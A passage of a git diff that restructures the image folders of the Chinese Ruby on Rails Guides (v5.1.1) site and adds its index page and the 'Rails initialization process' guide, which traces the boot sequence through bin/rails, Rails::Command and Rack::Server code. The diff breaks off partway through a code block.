+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/assets/images/akshaysurve.jpg b/images/akshaysurve.jpg similarity index 100% rename from assets/images/akshaysurve.jpg rename to images/akshaysurve.jpg diff --git a/assets/images/belongs_to.png b/images/belongs_to.png similarity index 100% rename from assets/images/belongs_to.png rename to images/belongs_to.png diff --git a/assets/images/book_icon.gif b/images/book_icon.gif similarity index 100% rename from assets/images/book_icon.gif rename to images/book_icon.gif diff --git a/assets/images/bullet.gif b/images/bullet.gif similarity index 100% rename from assets/images/bullet.gif rename to images/bullet.gif diff --git a/assets/images/chapters_icon.gif b/images/chapters_icon.gif similarity index 100% rename from assets/images/chapters_icon.gif rename to images/chapters_icon.gif diff --git a/assets/images/check_bullet.gif b/images/check_bullet.gif similarity index 100% rename from assets/images/check_bullet.gif rename to images/check_bullet.gif diff --git a/assets/images/credits_pic_blank.gif b/images/credits_pic_blank.gif similarity index 100% rename from assets/images/credits_pic_blank.gif rename to images/credits_pic_blank.gif diff --git a/assets/images/csrf.png b/images/csrf.png similarity index 100% rename from assets/images/csrf.png rename to images/csrf.png diff --git a/assets/images/edge_badge.png b/images/edge_badge.png similarity index 100% rename from assets/images/edge_badge.png rename to images/edge_badge.png diff --git a/assets/images/favicon.ico b/images/favicon.ico similarity index 100% rename from assets/images/favicon.ico rename to images/favicon.ico diff --git a/assets/images/feature_tile.gif b/images/feature_tile.gif similarity index 100% rename from assets/images/feature_tile.gif rename to images/feature_tile.gif diff --git a/assets/images/footer_tile.gif b/images/footer_tile.gif similarity index 100% rename from assets/images/footer_tile.gif rename to images/footer_tile.gif diff --git a/assets/images/fxn.png b/images/fxn.png similarity index 100% rename from assets/images/fxn.png rename to images/fxn.png diff --git a/assets/images/getting_started/article_with_comments.png b/images/getting_started/article_with_comments.png similarity index 100% rename from assets/images/getting_started/article_with_comments.png rename to images/getting_started/article_with_comments.png diff --git a/assets/images/getting_started/challenge.png b/images/getting_started/challenge.png similarity index 100% rename from assets/images/getting_started/challenge.png rename to images/getting_started/challenge.png diff --git a/assets/images/getting_started/confirm_dialog.png b/images/getting_started/confirm_dialog.png similarity index 100% rename from assets/images/getting_started/confirm_dialog.png rename to images/getting_started/confirm_dialog.png diff --git a/assets/images/getting_started/forbidden_attributes_for_new_article.png b/images/getting_started/forbidden_attributes_for_new_article.png similarity index 100% rename from assets/images/getting_started/forbidden_attributes_for_new_article.png rename to images/getting_started/forbidden_attributes_for_new_article.png diff --git a/assets/images/getting_started/form_with_errors.png b/images/getting_started/form_with_errors.png similarity index 100% rename from assets/images/getting_started/form_with_errors.png rename to images/getting_started/form_with_errors.png diff --git a/assets/images/getting_started/index_action_with_edit_link.png b/images/getting_started/index_action_with_edit_link.png similarity index 100% rename from assets/images/getting_started/index_action_with_edit_link.png rename to images/getting_started/index_action_with_edit_link.png diff --git a/assets/images/getting_started/new_article.png b/images/getting_started/new_article.png similarity index 100% rename from assets/images/getting_started/new_article.png rename to images/getting_started/new_article.png diff --git a/assets/images/getting_started/rails_welcome.png b/images/getting_started/rails_welcome.png similarity index 100% rename from assets/images/getting_started/rails_welcome.png rename to images/getting_started/rails_welcome.png diff --git a/assets/images/getting_started/routing_error_no_controller.png b/images/getting_started/routing_error_no_controller.png similarity index 100% rename from assets/images/getting_started/routing_error_no_controller.png rename to images/getting_started/routing_error_no_controller.png diff --git a/assets/images/getting_started/routing_error_no_route_matches.png b/images/getting_started/routing_error_no_route_matches.png similarity index 100% rename from assets/images/getting_started/routing_error_no_route_matches.png rename to images/getting_started/routing_error_no_route_matches.png diff --git a/assets/images/getting_started/show_action_for_articles.png b/images/getting_started/show_action_for_articles.png similarity index 100% rename from assets/images/getting_started/show_action_for_articles.png rename to images/getting_started/show_action_for_articles.png diff --git a/assets/images/getting_started/template_is_missing_articles_new.png b/images/getting_started/template_is_missing_articles_new.png similarity index 100% rename from assets/images/getting_started/template_is_missing_articles_new.png rename to images/getting_started/template_is_missing_articles_new.png diff --git a/assets/images/getting_started/unknown_action_create_for_articles.png b/images/getting_started/unknown_action_create_for_articles.png similarity index 100% rename from assets/images/getting_started/unknown_action_create_for_articles.png rename to images/getting_started/unknown_action_create_for_articles.png diff --git a/assets/images/getting_started/unknown_action_new_for_articles.png b/images/getting_started/unknown_action_new_for_articles.png similarity index 100% rename from assets/images/getting_started/unknown_action_new_for_articles.png rename to images/getting_started/unknown_action_new_for_articles.png diff --git a/assets/images/grey_bullet.gif b/images/grey_bullet.gif similarity index 100% rename from assets/images/grey_bullet.gif rename to images/grey_bullet.gif diff --git a/assets/images/habtm.png b/images/habtm.png similarity index 100% rename from assets/images/habtm.png rename to images/habtm.png diff --git a/assets/images/has_many.png b/images/has_many.png similarity index 100% rename from assets/images/has_many.png rename to images/has_many.png diff --git a/assets/images/has_many_through.png b/images/has_many_through.png similarity index 100% rename from assets/images/has_many_through.png rename to images/has_many_through.png diff --git a/assets/images/has_one.png b/images/has_one.png similarity index 100% rename from assets/images/has_one.png rename to images/has_one.png diff --git a/assets/images/has_one_through.png b/images/has_one_through.png similarity index 100% rename from assets/images/has_one_through.png rename to images/has_one_through.png diff --git a/assets/images/header_backdrop.png b/images/header_backdrop.png similarity index 100% rename from assets/images/header_backdrop.png rename to images/header_backdrop.png diff --git a/assets/images/header_tile.gif b/images/header_tile.gif similarity index 100% rename from assets/images/header_tile.gif rename to images/header_tile.gif diff --git a/assets/images/i18n/demo_html_safe.png b/images/i18n/demo_html_safe.png similarity index 100% rename from assets/images/i18n/demo_html_safe.png rename to images/i18n/demo_html_safe.png diff --git a/assets/images/i18n/demo_localized_pirate.png b/images/i18n/demo_localized_pirate.png similarity index 100% rename from assets/images/i18n/demo_localized_pirate.png rename to images/i18n/demo_localized_pirate.png diff --git a/assets/images/i18n/demo_translated_en.png b/images/i18n/demo_translated_en.png similarity index 100% rename from assets/images/i18n/demo_translated_en.png rename to images/i18n/demo_translated_en.png diff --git a/assets/images/i18n/demo_translated_pirate.png b/images/i18n/demo_translated_pirate.png similarity index 100% rename from assets/images/i18n/demo_translated_pirate.png rename to images/i18n/demo_translated_pirate.png diff --git a/assets/images/i18n/demo_translation_missing.png b/images/i18n/demo_translation_missing.png similarity index 100% rename from assets/images/i18n/demo_translation_missing.png rename to images/i18n/demo_translation_missing.png diff --git a/assets/images/i18n/demo_untranslated.png b/images/i18n/demo_untranslated.png similarity index 100% rename from assets/images/i18n/demo_untranslated.png rename to images/i18n/demo_untranslated.png diff --git a/assets/images/icons/README b/images/icons/README similarity index 100% rename from assets/images/icons/README rename to images/icons/README diff --git a/assets/images/icons/callouts/1.png b/images/icons/callouts/1.png similarity index 100% rename from assets/images/icons/callouts/1.png rename to images/icons/callouts/1.png diff --git a/assets/images/icons/callouts/10.png b/images/icons/callouts/10.png similarity index 100% rename from assets/images/icons/callouts/10.png rename to images/icons/callouts/10.png diff --git a/assets/images/icons/callouts/11.png b/images/icons/callouts/11.png similarity index 100% rename from assets/images/icons/callouts/11.png rename to images/icons/callouts/11.png diff --git a/assets/images/icons/callouts/12.png b/images/icons/callouts/12.png similarity index 100% rename from assets/images/icons/callouts/12.png rename to images/icons/callouts/12.png diff --git a/assets/images/icons/callouts/13.png b/images/icons/callouts/13.png similarity index 100% rename from assets/images/icons/callouts/13.png rename to images/icons/callouts/13.png diff --git a/assets/images/icons/callouts/14.png b/images/icons/callouts/14.png similarity index 100% rename from assets/images/icons/callouts/14.png rename to images/icons/callouts/14.png diff --git a/assets/images/icons/callouts/15.png b/images/icons/callouts/15.png similarity index 100% rename from assets/images/icons/callouts/15.png rename to images/icons/callouts/15.png diff --git a/assets/images/icons/callouts/2.png b/images/icons/callouts/2.png similarity index 100% rename from assets/images/icons/callouts/2.png rename to images/icons/callouts/2.png diff --git a/assets/images/icons/callouts/3.png b/images/icons/callouts/3.png similarity index 100% rename from assets/images/icons/callouts/3.png rename to images/icons/callouts/3.png diff --git a/assets/images/icons/callouts/4.png b/images/icons/callouts/4.png similarity index 100% rename from assets/images/icons/callouts/4.png rename to images/icons/callouts/4.png diff --git a/assets/images/icons/callouts/5.png b/images/icons/callouts/5.png similarity index 100% rename from assets/images/icons/callouts/5.png rename to images/icons/callouts/5.png diff --git a/assets/images/icons/callouts/6.png b/images/icons/callouts/6.png similarity index 100% rename from assets/images/icons/callouts/6.png rename to images/icons/callouts/6.png diff --git a/assets/images/icons/callouts/7.png b/images/icons/callouts/7.png similarity index 100% rename from assets/images/icons/callouts/7.png rename to images/icons/callouts/7.png diff --git a/assets/images/icons/callouts/8.png b/images/icons/callouts/8.png similarity index 100% rename from assets/images/icons/callouts/8.png rename to images/icons/callouts/8.png diff --git a/assets/images/icons/callouts/9.png b/images/icons/callouts/9.png similarity index 100% rename from assets/images/icons/callouts/9.png rename to images/icons/callouts/9.png diff --git a/assets/images/icons/caution.png b/images/icons/caution.png similarity index 100% rename from assets/images/icons/caution.png rename to images/icons/caution.png diff --git a/assets/images/icons/example.png b/images/icons/example.png similarity index 100% rename from assets/images/icons/example.png rename to images/icons/example.png diff --git a/assets/images/icons/home.png b/images/icons/home.png similarity index 100% rename from assets/images/icons/home.png rename to images/icons/home.png diff --git a/assets/images/icons/important.png b/images/icons/important.png similarity index 100% rename from assets/images/icons/important.png rename to images/icons/important.png diff --git a/assets/images/icons/next.png b/images/icons/next.png similarity index 100% rename from assets/images/icons/next.png rename to images/icons/next.png diff --git a/assets/images/icons/note.png b/images/icons/note.png similarity index 100% rename from assets/images/icons/note.png rename to images/icons/note.png diff --git a/assets/images/icons/prev.png b/images/icons/prev.png similarity index 100% rename from assets/images/icons/prev.png rename to images/icons/prev.png diff --git a/assets/images/icons/tip.png b/images/icons/tip.png similarity index 100% rename from assets/images/icons/tip.png rename to images/icons/tip.png diff --git a/assets/images/icons/up.png b/images/icons/up.png similarity index 100% rename from assets/images/icons/up.png rename to images/icons/up.png diff --git a/assets/images/icons/warning.png b/images/icons/warning.png similarity index 100% rename from assets/images/icons/warning.png rename to images/icons/warning.png diff --git a/assets/images/nav_arrow.gif b/images/nav_arrow.gif similarity index 100% rename from assets/images/nav_arrow.gif rename to images/nav_arrow.gif diff --git a/assets/images/oscardelben.jpg b/images/oscardelben.jpg similarity index 100% rename from assets/images/oscardelben.jpg rename to images/oscardelben.jpg diff --git a/assets/images/polymorphic.png b/images/polymorphic.png similarity index 100% rename from assets/images/polymorphic.png rename to images/polymorphic.png diff --git a/assets/images/radar.png b/images/radar.png similarity index 100% rename from assets/images/radar.png rename to images/radar.png diff --git a/assets/images/rails4_features.png b/images/rails4_features.png similarity index 100% rename from assets/images/rails4_features.png rename to images/rails4_features.png diff --git a/assets/images/rails_guides_kindle_cover.jpg b/images/rails_guides_kindle_cover.jpg similarity index 100% rename from assets/images/rails_guides_kindle_cover.jpg rename to images/rails_guides_kindle_cover.jpg diff --git a/assets/images/rails_guides_logo.gif b/images/rails_guides_logo.gif similarity index 100% rename from assets/images/rails_guides_logo.gif rename to images/rails_guides_logo.gif diff --git a/assets/images/rails_logo_remix.gif b/images/rails_logo_remix.gif similarity index 100% rename from assets/images/rails_logo_remix.gif rename to images/rails_logo_remix.gif diff --git a/assets/images/session_fixation.png b/images/session_fixation.png similarity index 100% rename from assets/images/session_fixation.png rename to images/session_fixation.png diff --git a/assets/images/tab_grey.gif b/images/tab_grey.gif similarity index 100% rename from assets/images/tab_grey.gif rename to images/tab_grey.gif diff --git a/assets/images/tab_info.gif b/images/tab_info.gif similarity index 100% rename from assets/images/tab_info.gif rename to images/tab_info.gif diff --git a/assets/images/tab_note.gif b/images/tab_note.gif similarity index 100% rename from assets/images/tab_note.gif rename to images/tab_note.gif diff --git a/assets/images/tab_red.gif b/images/tab_red.gif similarity index 100% rename from assets/images/tab_red.gif rename to images/tab_red.gif diff --git a/assets/images/tab_yellow.gif b/images/tab_yellow.gif similarity index 100% rename from assets/images/tab_yellow.gif rename to images/tab_yellow.gif diff --git a/assets/images/tab_yellow.png b/images/tab_yellow.png similarity index 100% rename from assets/images/tab_yellow.png rename to images/tab_yellow.png diff --git a/assets/images/vijaydev.jpg b/images/vijaydev.jpg similarity index 100% rename from assets/images/vijaydev.jpg rename to images/vijaydev.jpg diff --git a/index.html b/index.html new file mode 100644 index 0000000..ba00d83 --- /dev/null +++ b/index.html @@ -0,0 +1,385 @@ + + + + + + + +Ruby on Rails Guides + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 指南 (v5.1.1)

+ +

+ 这是 Rails 5.1 的最新指南,基于 v5.1.1。 + 这份指南旨在使您立即获得 Rails 的生产力,并帮助您了解所有组件如何组合在一起。 +

+

+早前版本的指南: +Rails 5.0中文), +Rails 4.2, +Rails 4.1中文), +Rails 4.0, +Rails 3.2,和 +Rails 2.3。 +

+ + + +
+
+
+
Rails 指南同时提供 Kindle 版。
+
如果需要 Epub、PDF 格式,可以购买安道维护的电子书
+
标记了这个图标的指南还在编写中,不会出现在指南索引。这些指南可能包含不完整的信息甚至错误。您可以帮忙检查并且提交评论和修正。
+
+
+ +
+
+ +
+
+
+ + + +

新手入门

+
+
Rails 入门
+

从安装到建立第一个应用程序所需知道的一切。

+
+

模型

+
+
Active Record 基础
+

本篇介绍 Models、数据库持久性以及 Active Record 模式。

+
Active Record 迁移
+

本篇介绍如何有条有理地使用 Active Record 来修改数据库。

+
Active Record 数据验证
+

本篇介绍如何使用 Active Record 验证功能。

+
Active Record 回调
+

本篇介绍如何使用 Active Record 回调功能。

+
Active Record 关联
+

本篇介绍如何使用 Active Record 的关联功能。

+
Active Record 查询接口
+

本篇介绍如何使用 Active Record 的数据库查询功能。

+
Active Model 基础
Work in progress
+

本篇介绍如何使用 Active Model。

+
+

视图

+
+
Action View 概述
Work in progress
+

本篇介绍 Action View 和常用辅助方法。

+
Rails 布局和视图渲染
+

本篇介绍 Action Controller 与 Action View 基本的版型功能,包含了渲染、重定向、使用 content_for 区块、以及局部模版。

+
Action View 表单辅助方法
+

本篇介绍 Action View 的表单辅助方法。

+
+

控制器

+
+
Action Controller 概览
+

本篇介绍 Controller 的工作原理,Controller 在请求周期所扮演的角色。内容包含 Session、滤动器、Cookies、资料串流以及如何处理由请求所发起的异常。

+
Rails 路由全解
+

本篇介绍与使用者息息相关的路由功能。想了解如何使用 Rails 的路由,从这里开始。

+
+

深入探索

+
+
Active Support 核心扩展
+

本篇介绍由 Active Support 定义的核心扩展功能。

+
Rails 国际化 API
+

本篇介绍如何国际化应用程序。将应用程序翻译成多种语言、更改单复数规则、对不同的国家使用正确的日期格式等。

+
Action Mailer 基础
+

本篇介绍如何使用 Action Mailer 来收发信件。

+
Active Job 基础
+

本篇提供创建背景任务、任务排程以及执行任务的所有知识。

+
Rails 应用测试指南
+

这是 Rails 中测试设施的综合指南。它涵盖了从“什么是测试?”到集成测试的知识。

+
Ruby on Rails 安全指南
+

本篇介绍网路应用程序常见的安全问题,如何在 Rails 里避免这些问题。

+
调试 Rails 应用
+

本篇介绍如何给 Rails 应用程式除错。包含了多种除错技巧、如何理解与了解代码背后究竟发生了什么事。

+
配置 Rails 应用
+

本篇介绍 Rails 应用程序的基本配置选项。

+
Rails 命令行
+

本篇介绍 Rails 提供的命令行工具。

+
Asset Pipeline
+

本篇介绍 Asset Pipeline.

+
在 Rails 中使用 JavaScript
+

本篇介绍 Rails 内置的 Ajax 与 JavaScript 功能。

+
Rails 初始化过程
Work in progress
+

本篇介绍 Rails 内部初始化过程。

+
自动加载和重新加载常量
+

本篇介绍自动加载和重新加载常量是如何工作的。

+
Rails 缓存概览
+

本篇介绍如何通过缓存给 Rails 应用提速。

+
Active Support 监测程序
Work in progress
+

本篇介绍如何通过 Active Support 监测 API 观察 Rails 和其他 Ruby 代码的事件。

+
Rails 应用分析指南
Work in progress
+

本篇介绍如何分析 Rails 应用并提高性能。

+
使用 Rails 开发只提供 API 的应用
+

本篇介绍如何将 Rails 用于只提供 API 的应用。

+
Action Cable 概览
+

本篇介绍 Action Cable 如何工作,以及如何使用 WebSockets 创建实时功能。

+
+

扩展 Rails

+
+
Rails 插件开发简介
Work in progress
+

本篇介绍如何开发插件扩展 Rails 的功能。

+
Rails on Rack
+

本篇介绍 Rails 和 Rack 的集成以及和其他 Rack 组件的交互。

+
创建及定制 Rails 生成器和模板
+

本篇介绍如何添加新的生成器,或者为 Rails 内置生成器提供替代选项(例如替换 scaffold 生成器的测试组件)。

+
引擎入门
Work in progress
+

本篇介绍如何编写可挂载的引擎。

+
+

为 Ruby on Rails 做贡献

+
+
为 Ruby on Rails 做贡献
+

Rails 不是“别人的框架”。本篇提供几条贡献 Rails 开发的路线。

+
API 文档指导方针
+

本篇介绍 Ruby on Rails API 文档守则。

+
Ruby on Rails 指南指导方针
+

本篇介绍 Ruby on Rails 指南守则。

+
+

维护方针

+
+
Ruby on Rails 的维护方针
+

Ruby on Rails 当前支持版本,和什么时候发布新版本。

+
+

发布记

+
+
Ruby on Rails 升级指南
+

本篇帮助升级到 Ruby on Rails 最新版。

+
Ruby on Rails 5.0 发布记
+

Rails 5.0 的发布说明。

+
Ruby on Rails 4.2 发布记
+

Rails 4.2 的发布说明。

+
Ruby on Rails 4.1 发布记
+

Rails 4.1 的发布说明。

+
Ruby on Rails 4.0 发布记
+

Rails 4.0 的发布说明

+
Ruby on Rails 3.2 发布记
+

Rails 3.2 的发布说明

+
Ruby on Rails 3.1 发布记
+

Rails 3.1 的发布说明

+
Ruby on Rails 3.0 发布记
+

Rails 3.0 的发布说明

+
Ruby on Rails 2.3 发布记
+

Rails 2.3 的发布说明

+
Ruby on Rails 2.2 发布记
+

Rails 2.2 的发布说明

+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/initialization.html b/initialization.html new file mode 100644 index 0000000..4c5366c --- /dev/null +++ b/initialization.html @@ -0,0 +1,788 @@ + + + + + + + +Rails 初始化过程 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails 初始化过程

本文介绍 Rails 初始化过程的内部细节,内容较深,建议 Rails 高级开发者阅读。

读完本文后,您将学到:

+
    +
  • 如何使用 rails server
  • +
  • Rails 初始化过程的时间线;
  • +
  • 引导过程中所需的不同文件的所在位置;
  • +
  • Rails::Server 接口的定义和使用方式。
  • +
+ + + + +
+
+ +
+
+
+

本文原文尚未完工!

本文介绍默认情况下,Rails 应用初始化过程中的每一个方法调用,详细解释各个步骤的具体细节。本文将聚焦于使用 rails server 启动 Rails 应用时发生的事情。

除非另有说明,本文中出现的路径都是相对于 Rails 或 Rails 应用所在目录的相对路径。

如果想一边阅读本文一边查看 Rails 源代码,推荐在 GitHub 中使用 t 快捷键打开文件查找器,以便快速查找相关文件。

1 启动

首先介绍 Rails 应用引导和初始化的过程。我们可以通过 rails consolerails server 命令启动 Rails 应用。

1.1 railties/exe/rails 文件

rails server 命令中的 rails 是位于加载路径中的一个 Ruby 可执行文件。这个文件包含如下内容:

+
+version = ">= 0"
+load Gem.bin_path('railties', 'rails', version)
+
+
+
+

在 Rails 控制台中运行上述代码,可以看到加载的是 railties/exe/rails 文件。railties/exe/rails 文件的部分内容如下:

+
+require "rails/cli"
+
+
+
+

railties/lib/rails/cli 文件又会调用 Rails::AppLoader.exec_app 方法。

1.2 railties/lib/rails/app_loader.rb 文件

exec_app 方法的主要作用是执行应用中的 bin/rails 文件。如果在当前文件夹中未找到 bin/rails 文件,就会继续在上层文件夹中查找,直到找到为止。因此,我们可以在 Rails 应用中的任何位置执行 rails 命令。

执行 rails server 命令时,实际执行的是等价的下述命令:

+
+$ exec ruby bin/rails server
+
+
+
+

1.3 bin/rails 文件

此文件包含如下内容:

+
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path('../../config/application', __FILE__)
+require_relative '../config/boot'
+require 'rails/commands'
+
+
+
+

其中 APP_PATH 常量稍后将在 rails/commands 中使用。所加载的 config/boot 是应用中的 config/boot.rb 文件,用于加载并设置 Bundler。

1.4 config/boot.rb 文件

此文件包含如下内容:

+
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' # 设置 Gemfile 中列出的所有 gem
+
+
+
+

标准的 Rails 应用中包含 Gemfile 文件,用于声明应用的所有依赖关系。config/boot.rb 文件会把 ENV['BUNDLE_GEMFILE'] 设置为 Gemfile 文件的路径。如果 Gemfile 文件存在,就会加载 bundler/setup,Bundler 通过它设置 Gemfile 中依赖关系的加载路径。

标准的 Rails 应用依赖多个 gem,包括:

+
    +
  • actionmailer
  • +
  • actionpack
  • +
  • actionview
  • +
  • activemodel
  • +
  • activerecord
  • +
  • activesupport
  • +
  • activejob
  • +
  • arel
  • +
  • builder
  • +
  • bundler
  • +
  • erubis
  • +
  • i18n
  • +
  • mail
  • +
  • mime-types
  • +
  • rack
  • +
  • rack-cache
  • +
  • rack-mount
  • +
  • rack-test
  • +
  • rails
  • +
  • railties
  • +
  • rake
  • +
  • sqlite3
  • +
  • thor
  • +
  • tzinfo
  • +
+

1.5 rails/commands.rb 文件

执行完 config/boot.rb 文件,下一步就要加载 rails/commands,其作用是扩展命令别名。在本例中(输入的命令为 rails server),ARGV 数组只包含将要传递的 server 命令:

+
+require "rails/command"
+
+aliases = {
+  "g"  => "generate",
+  "d"  => "destroy",
+  "c"  => "console",
+  "s"  => "server",
+  "db" => "dbconsole",
+  "r"  => "runner",
+  "t"  => "test"
+}
+
+command = ARGV.shift
+command = aliases[command] || command
+
+Rails::Command.invoke command, ARGV
+
+
+
+

如果输入的命令使用的是 s 而不是 server,Rails 就会在上面定义的 aliases 散列中查找对应的命令。

1.6 rails/command.rb 文件

输入 Rails 命令时,invoke 尝试查找指定命名空间中的命令,如果找到就执行那个命令。

如果找不到命令,Rails 委托 Rake 执行同名任务。

如下述代码所示,args 为空时,Rails::Command 自动显示帮助信息。

+
+module Rails::Command
+  class << self
+    def invoke(namespace, args = [], **config)
+      namespace = namespace.to_s
+      namespace = "help" if namespace.blank? || HELP_MAPPINGS.include?(namespace)
+      namespace = "version" if %w( -v --version ).include? namespace
+
+      if command = find_by_namespace(namespace)
+        command.perform(namespace, args, config)
+      else
+        find_by_namespace("rake").perform(namespace, args, config)
+      end
+    end
+  end
+end
+
+
+
+

本例中输入的是 server 命令,因此 Rails 会进一步运行下述代码:

+
+module Rails
+  module Command
+    class ServerCommand < Base # :nodoc:
+      def perform
+        set_application_directory!
+
+        Rails::Server.new.tap do |server|
+          # Require application after server sets environment to propagate
+          # the --environment option.
+          require APP_PATH
+          Dir.chdir(Rails.application.root)
+          server.start
+        end
+      end
+    end
+  end
+end
+
+
+
+

仅当 config.ru 文件无法找到时,才会切换到 Rails 应用根目录(APP_PATH 所在文件夹的上一层文件夹,其中 APP_PATH 指向 config/application.rb 文件)。然后运行 Rails::Server 类。

1.7 actionpack/lib/action_dispatch.rb 文件

Action Dispatch 是 Rails 框架的路由组件,提供路由、会话、常用中间件等功能。

1.8 rails/commands/server/server_command.rb 文件

此文件中定义的 Rails::Server 类,继承自 Rack::Server 类。当调用 Rails::Server.new 方法时,会调用此文件中定义的 initialize 方法:

+
+def initialize(*)
+  super
+  set_environment
+end
+
+
+
+

首先调用的 super 方法,会调用 Rack::Server 类的 initialize 方法。

1.9 Rack:lib/rack/server.rb 文件

Rack::Server 类负责为所有基于 Rack 的应用(包括 Rails)提供通用服务器接口。

Rack::Server 类的 initialize 方法的作用是设置几个变量:

+
+def initialize(options = nil)
+  @options = options
+  @app = options[:app] if options && options[:app]
+end
+
+
+
+

在本例中,options 的值是 nil,因此这个方法什么也没做。

super 方法完成 Rack::Server 类的 initialize 方法的调用后,程序执行流程重新回到 rails/commands/server/server_command.rb 文件中。此时,会在 Rails::Server 对象的上下文中调用 set_environment 方法。乍一看这个方法什么也没做:

+
+def set_environment
+  ENV["RAILS_ENV"] ||= options[:environment]
+end
+
+
+
+

实际上,其中的 options 方法做了很多工作。options 方法在 Rack::Server 类中定义:

+
+def options
+  @options ||= parse_options(ARGV)
+end
+
+
+
+

parse_options 方法的定义如下:

+
+def parse_options(args)
+  options = default_options
+
+  # 请不要计算 CGI `ISINDEX` 参数的值。
+  # http://www.meb.uni-bonn.de/docs/cgi/cl.html
+  args.clear if ENV.include?("REQUEST_METHOD")
+
+  options.merge! opt_parser.parse!(args)
+  options[:config] = ::File.expand_path(options[:config])
+  ENV["RACK_ENV"] = options[:environment]
+  options
+end
+
+
+
+

其中 default_options 方法的定义如下:

+
+def default_options
+  super.merge(
+    Port:               ENV.fetch("http://github.com/PORT", 3000).to_i,
+    Host:               ENV.fetch("http://github.com/HOST", "localhost").dup,
+    DoNotReverseLookup: true,
+    environment:        (ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development").dup,
+    daemonize:          false,
+    caching:            nil,
+    pid:                Options::DEFAULT_PID_PATH,
+    restart_cmd:        restart_command)
+end
+
+
+
+

ENV 散列中不存在 REQUEST_METHOD 键,因此可以跳过该行。下一行会合并 opt_parser 方法返回的选项,其中 opt_parser 方法在 Rack::Server 类中定义:

+
+def opt_parser
+  Options.new
+end
+
+
+
+

Options 类在 Rack::Server 类中定义,但在 Rails::Server 类中被覆盖了,目的是为了接受不同参数。Options 类的 parse! 方法的定义如下:

+
+def parse!(args)
+  args, options = args.dup, {}
+
+  option_parser(options).parse! args
+
+  options[:log_stdout] = options[:daemonize].blank? && (options[:environment] || Rails.env) == "development"
+  options[:server]     = args.shift
+  options
+end
+
+
+
+

此方法为 options 散列的键赋值,稍后 Rails 将使用此散列确定服务器的运行方式。initialize 方法运行完成后,程序执行流程会跳回 server 命令,然后加载之前设置的 APP_PATH

1.10 config/application.rb 文件

执行 require APP_PATH 时,会加载 config/application.rb 文件(前文说过 APP_PATH 已经在 bin/rails 中定义)。这个文件也是应用的一部分,我们可以根据需要修改这个文件的内容。

1.11 Rails::Server#start 方法

config/application.rb 文件加载完成后,会调用 server.start 方法。这个方法的定义如下:

+
+def start
+  print_boot_information
+  trap(:INT) { exit }
+  create_tmp_directories
+  setup_dev_caching
+  log_to_stdout if options[:log_stdout]
+
+  super
+  ...
+end
+
+private
+  def print_boot_information
+    ...
+    puts "=> Run `rails server -h` for more startup options"
+  end
+
+  def create_tmp_directories
+    %w(cache pids sockets).each do |dir_to_make|
+      FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+    end
+  end
+
+  def setup_dev_caching
+    if options[:environment] == "development"
+      Rails::DevCaching.enable_by_argument(options[:caching])
+    end
+  end
+
+  def log_to_stdout
+    wrapped_app # 对应用执行 touch 操作,以便设置记录器
+
+    console = ActiveSupport::Logger.new(STDOUT)
+    console.formatter = Rails.logger.formatter
+    console.level = Rails.logger.level
+
+    unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT)
+    Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+  end
+
+
+
+

这是 Rails 初始化过程中第一次输出信息。start 方法为 INT 信号创建了一个陷阱,只要在服务器运行时按下 CTRL-C,服务器进程就会退出。我们看到,上述代码会创建 tmp/cachetmp/pidstmp/sockets 文件夹。然后,如果运行 rails server 命令时指定了 --dev-caching 参数,在开发环境中启用缓存。最后,调用 wrapped_app 方法,其作用是先创建 Rack 应用,再创建 ActiveSupport::Logger 类的实例。

super 方法会调用 Rack::Server.start 方法,后者的定义如下:

+
+def start &blk
+  if options[:warn]
+    $-w = true
+  end
+
+  if includes = options[:include]
+    $LOAD_PATH.unshift(*includes)
+  end
+
+  if library = options[:require]
+    require library
+  end
+
+  if options[:debug]
+    $DEBUG = true
+    require 'pp'
+    p options[:server]
+    pp wrapped_app
+    pp app
+  end
+
+  check_pid! if options[:pid]
+
+  # 对包装后的应用执行 touch 操作,以便在创建守护进程之前
+  # 加载 `config.ru` 文件(例如在 `chdir` 等操作之前)
+  wrapped_app
+
+  daemonize_app if options[:daemonize]
+
+  write_pid if options[:pid]
+
+  trap(:INT) do
+    if server.respond_to?(:shutdown)
+      server.shutdown
+    else
+      exit
+    end
+  end
+
+  server.run wrapped_app, options, &blk
+end
+
+
+
+

代码块最后一行中的 server.run 非常有意思。这里我们再次遇到了 wrapped_app 方法,这次我们要更深入地研究它(前文已经调用过 wrapped_app 方法,现在需要回顾一下)。

+
+@wrapped_app ||= build_app app
+
+
+
+

其中 app 方法定义如下:

+
+def app
+  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+  def build_app_and_options_from_config
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
